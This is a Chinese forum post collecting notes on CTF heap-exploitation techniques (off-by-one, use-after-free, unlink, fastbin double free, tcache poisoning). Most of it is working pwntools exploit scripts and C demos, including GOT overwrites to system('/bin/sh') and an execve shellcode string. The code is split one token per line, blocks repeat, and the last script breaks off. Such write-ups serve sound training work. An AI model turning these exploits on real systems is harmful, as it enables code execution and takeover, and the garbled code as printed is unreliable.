-
-
[分享]pwn部分简单堆利用记录
-
发表于: 2021-10-22 18:57 21565
-
记录内容借鉴来源https://www.yuque.com/cyberangel/rg9gdm/vsh3kd
溢出一个可控字节从而且更改chunk的大小以及状态(即insure位)
可以造成堆重叠的效果这里就联合overlap,extend一起记录
demo
demo
demo
demo
demo
以上操作都可以通过off-by-one实现,前向合并只需要分配0x x8大小的chunk
就可以控制pre_size同时配合off漏洞控制insure。
https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/chunk-extend-shrink/hitcontraning_lab13
off by one 漏洞
题目的chunk拥有内容chunk和管理chunk,其中的管理chunk有有效
指针指向内容chunk,
我们利用off by one构造overlap形成堆复用,控制有效指针
exp
由于free后未置空指针,导致的use after free
亦或是,因为在heaparry中含有free or not的标识,但是功能中
含有标识恢复的功能导致的uaf(祥云杯2021升级密码箱)
由于比较简单一般不会单独作为题目出现,往往结合别的漏洞复合使用
附件下载:
链接:https://pan.baidu.com/s/19StzpwizVbeyNEcY48XcFQ
提取码:oqlh
unlink的公式如下
fd=point_addr-0x18
bk=point_addr-0x10
伪造chunk成功后会在下两次申请到的chunk申请到point_addr
以2014 HITCON stkof为例进行讲解:
https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/unlink/2014_hitcon_stkof
参考资料:
https://blog.csdn.net/qq_41202237/article/details/108481889 #主要思路
https://wzt.ac.cn/2018/10/16/s-pwn-project-4/ #payload来源
感谢@hollk师傅的文章
附件下载:
链接:https://pan.baidu.com/s/1tXTaLajFHdKB0Ofxnk8V4Q
提取码:z4p6
题目本身在edit的时候存在堆溢出,但是没有show所以需要构造
exp如下
demo
以iscc 2018的Write Some Paper为例进行讲解,不懂的可以看看上一节的内容
程序来源:https://github.com/mhzx020/Redirect
参考资料:https://xuanxuanblingbling.github.io/ctf/pwn/2020/02/02/paper/
附件下载:
链接:https://pan.baidu.com/s/1pBxc_-8pqJr9MRlA2AvxHQ
提取码:2onz
简单题,给了后门,更改got表为后门地址,利用double更改指针就行了
epx
1伪造堆块
2覆盖堆指针指向上一步伪造的堆块
3释放堆块,将伪造的堆块放入fastbin的单链表里面(需要绕过检测)
4申请堆块,将刚才释放的堆块申请出来,最终可以使得向目标区域中写入数据,以达到控制内存的目的。
lctf2016_pwn200 https://gitee.com/LightInfection/ctf/tree/master
exp
在开始的money之后的输入存在栈溢出,而且没有'\x00'截断puts的时候就可以带出rbp
我们到时候利用栈溢出把rbp的位置改成fake_chunk的位置,接着利用fake chunk控制rip最后退出程序就可以执行shellcode
非常好的一道堆栈结合
参考资料:https://wiki.x10sec.org/pwn/heap/fastbin_attack/#alloc-to-stack
https://xz.aliyun.com/t/7490
附件下载:
链接: https://pan.baidu.com/s/1dplP_JkSdl9M7F9sUEDVeQ 密码: mbht
--来自百度网盘超级会员V3的分享
参考资料:
https://wiki.x10sec.org/pwn/heap/fastbin_attack/#arbitrary-alloc
附件:
链接: https://pan.baidu.com/s/18qfkOMauvySSfHkSLjIvvQ 密码: 911k
--来自百度网盘超级会员V3的分享
fastbin_attack中的Arbitrary Alloc(例题)
题目来源:0ctf 2017 BabyHeap
参考资料:
https://blog.csdn.net/qq_36495104/article/details/106202135 #思路
CTF-wiki
https://www.yuque.com/hxfqg9/bin/bp97ri#sKWXZ #payload
https://blog.csdn.net/counsellor/article/details/81543197 #关闭地址随机化
附件:
链接: https://pan.baidu.com/s/1uG2cfQae0iwULtYvRmEBIw 密码: f1i6
--来自百度网盘超级会员V3的分享
漏洞在edit存在堆溢出,堆溢出,打fastbin
exp
题目来源:HITCON Training lab14 magic heap
附件:
链接: https://pan.baidu.com/s/1xtxgobatE9yWFKkEsL6JLg 密码: 44km
--来自百度网盘超级会员V3的分享
白给题堆溢出,没开PIE直接打unsortedbin改bk
exp
tcache poisoning的基本原理是覆盖tcache中的next域为目标地址,通过malloc来控制任意地址。
这种攻击方法不需要伪造任何的chunk结构。
demo
参考资料:
https://faraz.faith/2019-10-20-secconctf-2019-one/
https://github.com/SECCON/SECCON2019_online_CTF
题目来源:SECCON 2019 Online CTF: one (pwn, heap, glibc-2.27)
附件下载:
链接:https://pan.baidu.com/s/1nDee9BZ1RMhl3bfjHPSjsA 密码: 8qjs
--来自百度网盘超级会员V3的分享
题目就一个UAF非常简单,Ubuntu18的2.27版本,double free都不用去改bk上的key,也不用去中间free个别的直接freeok
直接改fd控制unsortedbin泄露libc打free_hook
exp
参考资料:
https://www.cnblogs.com/Theffth-blog/p/12790720.html
https://blog.csdn.net/weixin_43833642/article/details/107166551
题目来源:BUUCTF-[V&N2020 公开赛]easyTHeap
附件:
链接:https://pan.baidu.com/s/1T1pV_mbUEPXCg-vlu_Yw7w 密码: 5fnk
--来自百度网盘超级会员V3的分享
chunk大小小于0x100
UAF漏洞double free 泄露heap改tcache得到unsortedbin泄露libc直接随便玩
exp
/
/
gcc
-
g test1.c
-
o test1
#include<stdio.h>
int
main(void){
void
*
p,
*
q;
p
=
malloc(
0x10
);
/
/
分配第一个
0x10
的chunk
malloc(
0x10
);
/
/
分配第二个
0x10
的chunk
*
(
long
long
*
)((
long
long
)p
-
0x8
)
=
0x41
;
/
/
修改第一个块的size域
free(p);
q
=
malloc(
0x30
);
/
/
实现extend,控制了第二个块的内容
return
0
;
}
/
/
gcc
-
g test1.c
-
o test1
#include<stdio.h>
int
main(void){
void
*
p,
*
q;
p
=
malloc(
0x10
);
/
/
分配第一个
0x10
的chunk
malloc(
0x10
);
/
/
分配第二个
0x10
的chunk
*
(
long
long
*
)((
long
long
)p
-
0x8
)
=
0x41
;
/
/
修改第一个块的size域
free(p);
q
=
malloc(
0x30
);
/
/
实现extend,控制了第二个块的内容
return
0
;
}
/
/
gcc
-
g test2.c
-
o test2
#include<stdio.h>
int
main()
{首先在第
9
行下断点b
9
,我们看一下申请完三个chunk之后内存中的样子:
void
*
p,
*
q;
p
=
malloc(
0x80
);
/
/
分配第一个
0x80
的chunk1
malloc(
0x10
);
/
/
分配第二个
0x10
的chunk2
malloc(
0x10
);
/
/
防止与top chunk合并
*
(
long
*
)((
long
)p
-
0x8
)
=
0xb1
;
free(p);
q
=
malloc(
0xa0
);
}
/
/
gcc
-
g test2.c
-
o test2
#include<stdio.h>
int
main()
{首先在第
9
行下断点b
9
,我们看一下申请完三个chunk之后内存中的样子:
void
*
p,
*
q;
p
=
malloc(
0x80
);
/
/
分配第一个
0x80
的chunk1
malloc(
0x10
);
/
/
分配第二个
0x10
的chunk2
malloc(
0x10
);
/
/
防止与top chunk合并
*
(
long
*
)((
long
)p
-
0x8
)
=
0xb1
;
free(p);
q
=
malloc(
0xa0
);
}
/
/
gcc
-
g test3
-
o test3
#include<stdio.h>
int
main()
{
void
*
p,
*
q;
p
=
malloc(
0x80
);
/
/
分配第一个
0x80
的chunk1
malloc(
0x10
);
/
/
分配第二个
0x10
的chunk2
free(p);
/
/
首先进行释放,使得chunk1进入unsorted
bin
*
(
long
*
)((
long
)p
-
0x8
)
=
0xb1
;
q
=
malloc(
0xa0
);
}
/
/
gcc
-
g test3
-
o test3
#include<stdio.h>
int
main()
{
void
*
p,
*
q;
p
=
malloc(
0x80
);
/
/
分配第一个
0x80
的chunk1
malloc(
0x10
);
/
/
分配第二个
0x10
的chunk2
free(p);
/
/
首先进行释放,使得chunk1进入unsorted
bin
*
(
long
*
)((
long
)p
-
0x8
)
=
0xb1
;
q
=
malloc(
0xa0
);
}
/
/
gcc
-
g test4.c
-
o test4
#include<stdio.h>
int
main()
{
void
*
p,
*
q;
p
=
malloc(
0x80
);
/
/
分配第
1
个
0x80
的chunk1
malloc(
0x10
);
/
/
分配第
2
个
0x10
的chunk2
malloc(
0x10
);
/
/
分配第
3
个
0x10
的chunk3
malloc(
0x10
);
/
/
分配第
4
个
0x10
的chunk4
*
(
long
*
)((
long
)p
-
0x8
)
=
0x61
;
free(p);
q
=
malloc(
0x50
);
}
/
/
gcc
-
g test4.c
-
o test4
#include<stdio.h>
int
main()
{
void
*
p,
*
q;
p
=
malloc(
0x80
);
/
/
分配第
1
个
0x80
的chunk1
malloc(
0x10
);
/
/
分配第
2
个
0x10
的chunk2
malloc(
0x10
);
/
/
分配第
3
个
0x10
的chunk3
malloc(
0x10
);
/
/
分配第
4
个
0x10
的chunk4
*
(
long
*
)((
long
)p
-
0x8
)
=
0x61
;
free(p);
q
=
malloc(
0x50
);
}
/
/
gcc
-
g test5.c
-
o test5
#include<stdio.h>
int
main(void)
{
void
*
p,
*
q,
*
r,
*
t;
p
=
malloc(
128
);
/
/
smallbin1
q
=
malloc(
0x10
);
/
/
fastbin1
r
=
malloc(
0x10
);
/
/
fastbin2
t
=
malloc(
128
);
/
/
smallbin2
malloc(
0x10
);
/
/
防止与top合并
free(p);
*
(
int
*
)((
long
long
)t
-
0x8
)
=
0x90
;
/
/
修改pre_inuse域
*
(
int
*
)((
long
long
)t
-
0x10
)
=
0xd0
;
/
/
修改pre_size域
free(t);
/
/
unlink进行前向extend
malloc(
0x150
);
/
/
占位块
}
/
/
gcc
-
g test5.c
-
o test5
#include<stdio.h>
int
main(void)
{
void
*
p,
*
q,
*
r,
*
t;
p
=
malloc(
128
);
/
/
smallbin1
q
=
malloc(
0x10
);
/
/
fastbin1
r
=
malloc(
0x10
);
/
/
fastbin2
t
=
malloc(
128
);
/
/
smallbin2
malloc(
0x10
);
/
/
防止与top合并
free(p);
*
(
int
*
)((
long
long
)t
-
0x8
)
=
0x90
;
/
/
修改pre_inuse域
*
(
int
*
)((
long
long
)t
-
0x10
)
=
0xd0
;
/
/
修改pre_size域
free(t);
/
/
unlink进行前向extend
malloc(
0x150
);
/
/
占位块
}
from
pwn
import
*
context(log_level
=
'DEBUG'
)
p
=
process(
'./heapcreator'
)
heap
=
ELF(
'./heapcreator'
)
libc
=
ELF(
'/lib/x86_64-linux-gnu/libc.so.6'
)
def
create(size, content):
p.recvuntil(
":"
)
p.sendline(
"1"
)
p.recvuntil(
":"
)
p.sendline(
str
(size))
p.recvuntil(
":"
)
p.sendline(content)
def
edit(idx, content):
p.recvuntil(
":"
)
p.sendline(
"2"
)
p.recvuntil(
":"
)
p.sendline(
str
(idx))
p.recvuntil(
":"
)
p.sendline(content)
def
show(idx):
p.recvuntil(
":"
)
p.sendline(
"3"
)
p.recvuntil(
":"
)
p.sendline(
str
(idx))
def
delete(idx):
p.recvuntil(
":"
)
p.sendline(
"4"
)
p.recvuntil(
":"
)
p.sendline(
str
(idx))
create(
0x18
,
"hollk"
)
create(
0x10
,
"hollk"
)
edit(
0
,
"/bin/sh\x00"
+
"a"
*
0x10
+
"\x41"
)
delete(
1
)
create(
0x30
, p64(
0
)
*
3
+
p64(
0x21
)
+
p64(
0x30
)
+
p64(heap.got[
'free'
]))
show(
1
)
p.recvuntil(
"Content : "
)
data
=
p.recvuntil(
"Done !"
)
free_addr
=
u64(data.split(
"\n"
)[
0
].ljust(
8
,
"\x00"
))
libc_base
=
free_addr
-
libc.symbols[
'free'
]
log.success(
'libc base addr: '
+
hex
(libc_base))
system_addr
=
libc_base
+
libc.symbols[
'system'
]
edit(
1
, p64(system_addr))
#gdb.attach(p)
delete(
0
)
#gdb.attach(p)
p.interactive()
from
pwn
import
*
context(log_level
=
'DEBUG'
)
p
=
process(
'./heapcreator'
)
heap
=
ELF(
'./heapcreator'
)
libc
=
ELF(
'/lib/x86_64-linux-gnu/libc.so.6'
)
def
create(size, content):
p.recvuntil(
":"
)
p.sendline(
"1"
)
p.recvuntil(
":"
)
p.sendline(
str
(size))
p.recvuntil(
":"
)
p.sendline(content)
def
edit(idx, content):
p.recvuntil(
":"
)
p.sendline(
"2"
)
p.recvuntil(
":"
)
p.sendline(
str
(idx))
p.recvuntil(
":"
)
p.sendline(content)
def
show(idx):
p.recvuntil(
":"
)
p.sendline(
"3"
)
p.recvuntil(
":"
)
p.sendline(
str
(idx))
def
delete(idx):
p.recvuntil(
":"
)
p.sendline(
"4"
)
p.recvuntil(
":"
)
p.sendline(
str
(idx))
create(
0x18
,
"hollk"
)
create(
0x10
,
"hollk"
)
edit(
0
,
"/bin/sh\x00"
+
"a"
*
0x10
+
"\x41"
)
delete(
1
)
create(
0x30
, p64(
0
)
*
3
+
p64(
0x21
)
+
p64(
0x30
)
+
p64(heap.got[
'free'
]))
show(
1
)
p.recvuntil(
"Content : "
)
data
=
p.recvuntil(
"Done !"
)
free_addr
=
u64(data.split(
"\n"
)[
0
].ljust(
8
,
"\x00"
))
libc_base
=
free_addr
-
libc.symbols[
'free'
]
log.success(
'libc base addr: '
+
hex
(libc_base))
system_addr
=
libc_base
+
libc.symbols[
'system'
]
edit(
1
, p64(system_addr))
#gdb.attach(p)
delete(
0
)
#gdb.attach(p)
p.interactive()
from
pwn
import
*
context.terminal
=
[
'gnome-terminal'
,
'-x'
,
'sh'
,
'-c'
]
if
args[
'DEBUG'
]:
context.log_level
=
'debug'
context.binary
=
"./stkof"
stkof
=
ELF(
'./stkof'
)
if
args[
'REMOTE'
]:
p
=
remote(
'127.0.0.1'
,
7777
)
else
:
p
=
process(
"./stkof"
)
log.info(
'PID: '
+
str
(proc.pidof(p)[
0
]))
libc
=
ELF(
'./libc.so.6'
)
head
=
0x602140
def
alloc(size):
p.sendline(
'1'
)
p.sendline(
str
(size))
p.recvuntil(
'OK\n'
)
def
edit(idx, size, content):
p.sendline(
'2'
)
p.sendline(
str
(idx))
p.sendline(
str
(size))
p.send(content)
p.recvuntil(
'OK\n'
)
def
free(idx):
p.sendline(
'3'
)
p.sendline(
str
(idx))
def
exp():
# trigger to malloc buffer for io function
alloc(
0x100
)
# idx 1
alloc(
0x30
)
# idx 2
# small chunk size inorder to trigger unlink
alloc(
0x80
)
# idx 3
# a fake chunk at global[2]=head+16 who's size is 0x20
payload
=
p64(
0
)
#prev_size
payload
+
=
p64(
0x20
)
#size
payload
+
=
p64(head
+
16
-
0x18
)
#fd
payload
+
=
p64(head
+
16
-
0x10
)
#bk
payload
+
=
p64(
0x20
)
# next chunk's prev_size bypass the check
payload
=
payload.ljust(
0x30
,
'a'
)
# overwrite global[3]'s chunk's prev_size
# make it believe that prev chunk is at global[2]
payload
+
=
p64(
0x30
)
# make it believe that prev chunk is free
payload
+
=
p64(
0x90
)
edit(
2
,
len
(payload), payload)
# unlink fake chunk, so global[2] =&(global[2])-0x18=head-8
free(
3
)
p.recvuntil(
'OK\n'
)
#gdb.attach(p)
# overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
payload
=
'a'
*
8
+
p64(stkof.got[
'free'
])
+
p64(stkof.got[
'puts'
])
+
p64(
stkof.got[
'atoi'
])
edit(
2
,
len
(payload), payload)
# edit free@got to puts@plt
payload
=
p64(stkof.plt[
'puts'
])
edit(
0
,
len
(payload), payload)
#free global[1] to leak puts addr
free(
1
)
puts_addr
=
p.recvuntil(
'\nOK\n'
, drop
=
True
).ljust(
8
,
'\x00'
)
puts_addr
=
u64(puts_addr)
log.success(
'puts addr: '
+
hex
(puts_addr))
libc_base
=
puts_addr
-
libc.symbols[
'puts'
]
binsh_addr
=
libc_base
+
next
(libc.search(
'/bin/sh'
))
system_addr
=
libc_base
+
libc.symbols[
'system'
]
log.success(
'libc base: '
+
hex
(libc_base))
log.success(
'/bin/sh addr: '
+
hex
(binsh_addr))
log.success(
'system addr: '
+
hex
(system_addr))
# modify atoi@got to system addr
payload
=
p64(system_addr)
edit(
2
,
len
(payload), payload)
p.send(p64(binsh_addr))
p.interactive()
if
__name__
=
=
"__main__"
:
exp()
from
pwn
import
*
context.terminal
=
[
'gnome-terminal'
,
'-x'
,
'sh'
,
'-c'
]
if
args[
'DEBUG'
]:
context.log_level
=
'debug'
context.binary
=
"./stkof"
stkof
=
ELF(
'./stkof'
)
if
args[
'REMOTE'
]:
p
=
remote(
'127.0.0.1'
,
7777
)
else
:
p
=
process(
"./stkof"
)
log.info(
'PID: '
+
str
(proc.pidof(p)[
0
]))
libc
=
ELF(
'./libc.so.6'
)
head
=
0x602140
def
alloc(size):
p.sendline(
'1'
)
p.sendline(
str
(size))
p.recvuntil(
'OK\n'
)
def
edit(idx, size, content):
p.sendline(
'2'
)
p.sendline(
str
(idx))
p.sendline(
str
(size))
p.send(content)
p.recvuntil(
'OK\n'
)
def
free(idx):
p.sendline(
'3'
)
p.sendline(
str
(idx))
def
exp():
# trigger to malloc buffer for io function
alloc(
0x100
)
# idx 1
alloc(
0x30
)
# idx 2
# small chunk size inorder to trigger unlink
alloc(
0x80
)
# idx 3
# a fake chunk at global[2]=head+16 who's size is 0x20
payload
=
p64(
0
)
#prev_size
payload
+
=
p64(
0x20
)
#size
payload
+
=
p64(head
+
16
-
0x18
)
#fd
payload
+
=
p64(head
+
16
-
0x10
)
#bk
payload
+
=
p64(
0x20
)
# next chunk's prev_size bypass the check
payload
=
payload.ljust(
0x30
,
'a'
)
# overwrite global[3]'s chunk's prev_size
# make it believe that prev chunk is at global[2]
payload
+
=
p64(
0x30
)
# make it believe that prev chunk is free
payload
+
=
p64(
0x90
)
edit(
2
,
len
(payload), payload)
# unlink fake chunk, so global[2] =&(global[2])-0x18=head-8
free(
3
)
p.recvuntil(
'OK\n'
)
#gdb.attach(p)
# overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
payload
=
'a'
*
8
+
p64(stkof.got[
'free'
])
+
p64(stkof.got[
'puts'
])
+
p64(
stkof.got[
'atoi'
])
edit(
2
,
len
(payload), payload)
# edit free@got to puts@plt
payload
=
p64(stkof.plt[
'puts'
])
edit(
0
,
len
(payload), payload)
#free global[1] to leak puts addr
free(
1
)
puts_addr
=
p.recvuntil(
'\nOK\n'
, drop
=
True
).ljust(
8
,
'\x00'
)
puts_addr
=
u64(puts_addr)
log.success(
'puts addr: '
+
hex
(puts_addr))
libc_base
=
puts_addr
-
libc.symbols[
'puts'
]
binsh_addr
=
libc_base
+
next
(libc.search(
'/bin/sh'
))
system_addr
=
libc_base
+
libc.symbols[
'system'
]
log.success(
'libc base: '
+
hex
(libc_base))
log.success(
'/bin/sh addr: '
+
hex
(binsh_addr))
log.success(
'system addr: '
+
hex
(system_addr))
# modify atoi@got to system addr
payload
=
p64(system_addr)
edit(
2
,
len
(payload), payload)
p.send(p64(binsh_addr))
p.interactive()
if
__name__
=
=
"__main__"
:
exp()
#include<stdio.h>
typedef struct _chunk
{
long
long
pre_size;
long
long
size;
long
long
fd;
long
long
bk;
} CHUNK,
*
PCHUNK;
CHUNK bss_chunk;
int
main()
{
void
*
chunk1,
*
chunk2,
*
chunk3;
void
*
chunk_a,
*
chunk_b;
bss_chunk.size
=
0x21
;
chunk1
=
malloc(
0x10
);
chunk2
=
malloc(
0x10
);
free(chunk1);
free(chunk2);
free(chunk1);
chunk_a
=
malloc(
0x10
);
*
(
long
long
*
)chunk_a
=
&bss_chunk;
malloc(
0x10
);
malloc(
0x10
);
chunk_b
=
malloc(
0x10
);
printf(
"%p\n"
,chunk_b);
return
0
;
}
#include<stdio.h>
typedef struct _chunk
{
long
long
pre_size;
long
long
size;
long
long
fd;
long
long
bk;
} CHUNK,
*
PCHUNK;
CHUNK bss_chunk;
int
main()
{
void
*
chunk1,
*
chunk2,
*
chunk3;
void
*
chunk_a,
*
chunk_b;
bss_chunk.size
=
0x21
;
chunk1
=
malloc(
0x10
);
chunk2
=
malloc(
0x10
);
free(chunk1);
free(chunk2);
free(chunk1);
chunk_a
=
malloc(
0x10
);
*
(
long
long
*
)chunk_a
=
&bss_chunk;
malloc(
0x10
);
malloc(
0x10
);
chunk_b
=
malloc(
0x10
);
printf(
"%p\n"
,chunk_b);
return
0
;
}
from
pwn
import
*
context(os
=
'linux'
,arch
=
'amd64'
,log_level
=
'debug'
)
myelf
=
ELF(
"./paper"
)
io
=
process(myelf.path)
def
add_paper(num, index, content):
io.recv()
io.sendline(
"1"
)
io.recv()
io.sendline(
str
(index))
io.recv()
io.sendline(
str
(num))
io.recv()
io.sendline(content)
def
del_paper(index):
io.recv()
io.sendline(
"2"
)
io.recv()
io.sendline(
str
(index))
add_paper(
0x30
,
1
,
"1"
)
add_paper(
0x30
,
2
,
"1"
)
#gdb.attach(io)
del_paper(
1
)
del_paper(
2
)
del_paper(
1
)
#gdb.attach(io)
add_paper(
0x30
,
1
, p64(
0x60202a
))
#chunk1
#gdb.attach(io)
add_paper(
0x30
,
1
,
"1"
)
#gdb.attach(io)
add_paper(
0x30
,
1
,
"1"
)
#gdb.attach(io)
add_paper(
0x30
,
1
,
"\x40\x00\x00\x00\x00\x00"
+
p64(myelf.symbols[
"gg"
]))
#0x60202a_chunk
#gdb.attach(io)
io.recv()
io.sendline(
"a"
)
#gdb.attach(io)
io.interactive()
from
pwn
import
*
context(os
=
'linux'
,arch
=
'amd64'
,log_level
=
'debug'
)
myelf
=
ELF(
"./paper"
)
io
=
process(myelf.path)
def
add_paper(num, index, content):
io.recv()
io.sendline(
"1"
)
io.recv()
io.sendline(
str
(index))
io.recv()
io.sendline(
str
(num))
io.recv()
io.sendline(content)
def
del_paper(index):
io.recv()
io.sendline(
"2"
)
io.recv()
io.sendline(
str
(index))
add_paper(
0x30
,
1
,
"1"
)
add_paper(
0x30
,
2
,
"1"
)
#gdb.attach(io)
del_paper(
1
)
del_paper(
2
)
del_paper(
1
)
#gdb.attach(io)
add_paper(
0x30
,
1
, p64(
0x60202a
))
#chunk1
#gdb.attach(io)
add_paper(
0x30
,
1
,
"1"
)
#gdb.attach(io)
add_paper(
0x30
,
1
,
"1"
)
#gdb.attach(io)
add_paper(
0x30
,
1
,
"\x40\x00\x00\x00\x00\x00"
+
p64(myelf.symbols[
"gg"
]))
#0x60202a_chunk
#gdb.attach(io)
io.recv()
io.sendline(
"a"
)
#gdb.attach(io)
io.interactive()
#encoding:utf-8
from
pwn
import
*
#r = remote('127.0.0.1', 6666)
p
=
process(
"./pwn200"
)
shellcode
=
"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
def
pwn():
# gdb.attach(p, "b *0x400991")
data
=
shellcode.ljust(
46
,
'a'
)
data
+
=
'bb'
p.send(data)
p.recvuntil(
'bb'
)
rbp_addr
=
p.recvuntil(
', w'
)[:
-
3
]
rbp_addr
=
u64(rbp_addr.ljust(
8
,
'\x00'
))
print
hex
(rbp_addr)
fake_addr
=
rbp_addr
-
0x90
shellcode_addr
=
rbp_addr
-
0x50
# 输入id伪造下一个堆块的size
p.recvuntil(
'id ~~?'
)
p.sendline(
'32'
)
p.recvuntil(
'money~'
)
data
=
p64(
0
)
*
5
+
p64(
0x41
)
# 伪造堆块的size
data
=
data.ljust(
0x38
,
'\x00'
)
+
p64(fake_addr)
# 覆盖堆指针
p.send(data)
p.recvuntil(
'choice : '
)
p.sendline(
'2'
)
# 释放伪堆块进入fastbin
p.recvuntil(
'choice : '
)
p.sendline(
'1'
)
p.recvuntil(
'long?'
)
p.sendline(
'48'
)
p.recvuntil(
'\n48\n'
)
# 将伪堆块申请出来
data
=
'a'
*
0x18
+
p64(shellcode_addr)
# 将eip修改为shellcode的地址
data
=
data.ljust(
48
,
'\x00'
)
p.send(data)
p.recvuntil(
'choice : '
)
p.sendline(
'3'
)
# 退出返回时回去执行shellcode
p.interactive()
if
__name__
=
=
'__main__'
:
pwn()
#encoding:utf-8
from
pwn
import
*
#r = remote('127.0.0.1', 6666)
p
=
process(
"./pwn200"
)
shellcode
=
"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
def
pwn():
# gdb.attach(p, "b *0x400991")
data
=
shellcode.ljust(
46
,
'a'
)
data
+
=
'bb'
p.send(data)
p.recvuntil(
'bb'
)
rbp_addr
=
p.recvuntil(
', w'
)[:
-
3
]
rbp_addr
=
u64(rbp_addr.ljust(
8
,
'\x00'
))
print
hex
(rbp_addr)
赞赏
- [原创][KCTF]第十三题 共存之道 WP 9328
- [原创]docker-remoter-api渗透 1057
- [原创]赛棍pwn课程(结束了共计9天) 24161
- [分享]pwn部分简单堆利用记录 21566